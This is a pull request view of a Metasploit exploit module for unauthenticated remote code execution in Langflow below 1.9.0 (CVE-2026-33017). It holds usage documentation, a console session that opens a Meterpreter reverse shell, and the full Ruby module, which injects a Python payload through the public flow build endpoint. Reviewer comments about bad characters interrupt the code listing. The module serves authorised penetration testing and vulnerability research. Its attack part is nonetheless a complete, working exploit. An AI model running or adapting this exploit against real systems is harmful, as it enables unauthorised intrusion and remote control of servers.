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## Vulnerable Application

Langflow versions prior to 1.9.0 are vulnerable to unauthenticated remote code execution through the
`/api/v1/build_public_tmp/<flow_id>/flow` endpoint. An attacker can send crafted HTTP requests to execute arbitrary code.

The vulnerability affects:

* Langflow < 1.9.0.

This module was successfully tested on:

* Langflow 1.8.4 (with authentication enabled)


## Installation

1. `docker pull langflowai/langflow:1.8.4`
2. `docker run -d --name langflow-1.8.4 -p 7860:7860 langflowai/langflow:1.8.4`


## Verification Steps

1. Install the application
2. Start msfconsole
3. Do: `use exploit/multi/http/langflow_unauth_rce_cve_2026_33017`
4. Do: `set LHOST <lhost>`
5. Do: `set RHOSTS <rhost>`
6. Do: `set FLOW_ID <flow id>`
7. Do: `exploit`


## Options

### FLOW_ID

The UUID of a public Langflow flow. This value can be obtained from the
Langflow web interface when viewing a flow.


## Scenarios
```
msf > use exploit/multi/http/langflow_unauth_rce_cve_2026_33017
[*] Using configured payload python/meterpreter/reverse_tcp
msf exploit(multi/http/langflow_unauth_rce_cve_2026_33017) > set RHOSTS 127.0.0.1
RHOSTS => 127.0.0.1
msf exploit(multi/http/langflow_unauth_rce_cve_2026_33017) > set LHOST 127.0.0.1
LHOST => 127.0.0.1
msf exploit(multi/http/langflow_unauth_rce_cve_2026_33017) > set FLOW_ID fd1d9d9b-6174-4b31-a621-2ee0f57435e2
FLOW_ID => fd1d9d9b-6174-4b31-a621-2ee0f57435e2
msf exploit(multi/http/langflow_unauth_rce_cve_2026_33017) > exploit
[!] You are binding to a loopback address by setting LHOST to 127.0.0.1. Did you want ReverseListenerBindAddress?
[*] Started reverse TCP handler on 127.0.0.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. Version 1.8.4 appears vulnerable.
[*] Payload sent successfully.
[*] Sending stage (23408 bytes) to 127.0.0.1
[*] Meterpreter session 1 opened (127.0.0.1:4444 -> 127.0.0.1:54764) at 2026-07-23 17:07:34 -0400

meterpreter >
```

## References

- https://medium.com/@aviral23/cve-2026-33017-how-i-found-an-unauthenticated-rce-in-langflow-by-reading-the-code-they-already-dc96cdce5896
200 changes: 200 additions & 0 deletions modules/exploits/multi/http/langflow_unauth_rce_cve_2026_33017.rb
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# frozen_string_literal: true

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Langflow Unauth RCE',
'Description' => %q{
Langflow versions prior to 1.9.0 are susceptible to unauthenticated remote code execution through the
/api/v1/build_public_tmp/<flow_id>/flow endpoint. A remote and unauthenticated attacker can send crafted
HTTP requests to execute arbitrary code.
},
'Author' => [
'Richard Howe <rhowe425>',
'Diamorphine'
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2026-33017'],
['EDB', '52627'],
['URL', 'https://medium.com/@aviral23/cve-2026-33017-how-i-found-an-unauthenticated-rce-in-langflow-by-reading-the-code-they-already-dc96cdce5896']
],
'Targets' => [
[
'Python payload',
{
'Platform' => 'python',
'Arch' => ARCH_PYTHON
}
]
],
'DefaultTarget' => 0,
'Payload' => {
'BadChars' => '"'
},
'DisclosureDate' => '2026-03-20',
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],
'Reliability' => [REPEATABLE_SESSION]
}
)
)

register_options(
[
OptString.new('TARGETURI', [true, 'Base path', '/']),
OptString.new('FLOW_ID', [true, 'Public Langflow flow UUID', nil]),
Opt::RPORT(7860)
]
)
end

def check
res = send_request_cgi(
{
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'api/v1/version')
}
)

return Exploit::CheckCode::Unknown('Unexpected server reply.') unless res&.code == 200

doc = res.get_json_document
version_str = doc.is_a?(Hash) ? doc['version'] : nil
return Exploit::CheckCode::Unknown('Failed to parse version.') unless version_str

begin
version = Rex::Version.new(version_str)
rescue StandardError
return Exploit::CheckCode::Unknown('Failed to parse version.')
end

if version < Rex::Version.new('1.9.0')
Exploit::CheckCode::Appears("Version #{version} appears vulnerable.")
else
Exploit::CheckCode::Safe("Version #{version} is not vulnerable.")
end
end

def exploit
flow_id = datastore['FLOW_ID']
fail_with(Failure::BadConfig, 'FLOW_ID is required.') unless flow_id

# Randomize component identifiers
node_id = Rex::Text.rand_text_alpha(8)
component_display_name = Rex::Text.rand_text_alpha(5)
component_name = "Exploit#{Rex::Text.rand_text_alpha(5)}"

output_display_name = Rex::Text.rand_text_alpha(5)
output_name = Rex::Text.rand_text_alpha(5).downcase
output_method = Rex::Text.rand_text_alpha(5).downcase

# The payload is executed within the output method so it runs when the
# component vertex is invoked; the class definition allows Langflow to
# resolve the component vertex.
injected_code = "from lfx.custom.custom_component.component import Component\n" \
"from lfx.io import Output\n" \
"from lfx.schema.data import Data\n" \
"\n" \
"class #{component_name}(Component):\n" \
" display_name='#{component_display_name}'\n" \
" outputs=[Output(display_name='#{output_display_name}',name='#{output_name}',method='#{output_method}')]\n" \
" def #{output_method}(self)->Data:\n" \
" #{payload.encode.gsub("\n", "\n ")}\n" \

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If there's an issue with \n, would it work to add it to badchars?

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Hmmm I don't think so. Reason being: The payload is injected directly as Python source code rather than being placed inside a string literal. Multi-line payloads are supported intentionally, and the gsub("\n", "\n ") keeps the indentation correct so the generated method stays valid Python. Adding \n to BadChars would prevent otherwise valid payloads from working.

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@msutovsky-r7 Are you okay with this line of thought? Would you consider this resolved?

" return Data(data={})\n"

data = {
'data' => {
'nodes' => [
{
'id' => node_id,
'type' => 'genericNode',
'position' => {
'x' => 0,
'y' => 0
},
'data' => {
'id' => node_id,
'type' => component_name,
'node' => {
'template' => {
'code' => {
'type' => 'code',
'required' => true,
'show' => true,
'multiline' => true,
'value' => injected_code,
'name' => 'code',
'password' => false,
'advanced' => false,
'dynamic' => false
},
'_type' => 'Component'
},
'description' => component_display_name,
'base_classes' => ['Data'],
'display_name' => component_name,
'name' => component_name,
'frozen' => false,
'outputs' => [
{
'types' => ['Data'],
'selected' => 'Data',
'name' => output_name,
'display_name' => output_display_name,
'method' => output_method,
'value' => '__UNDEFINED__',
'cache' => true,
'allows_loop' => false,
'tool_mode' => false,
'hidden' => nil,
'required_inputs' => nil,
'group_outputs' => false
}
],
'field_order' => ['code'],
'beta' => false,
'edited' => false
}
}
}
],
'edges' => []
},
'inputs' => nil
}
Comment thread
msutovsky-r7 marked this conversation as resolved.

res = send_request_cgi(
{
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, "api/v1/build_public_tmp/#{flow_id}/flow"),
'headers' => {
'Content-Type' => 'application/json'
},
'cookie' => "client_id=#{Rex::Text.rand_text_alpha(8)}",
'data' => data.to_json
}
)

fail_with(Failure::UnexpectedReply, 'Unexpected server reply.') unless res

unless res.code.between?(200, 299)
fail_with(Failure::UnexpectedReply, "Unexpected server reply (HTTP #{res.code}).")
end

print_status('Payload sent successfully.')
end
end
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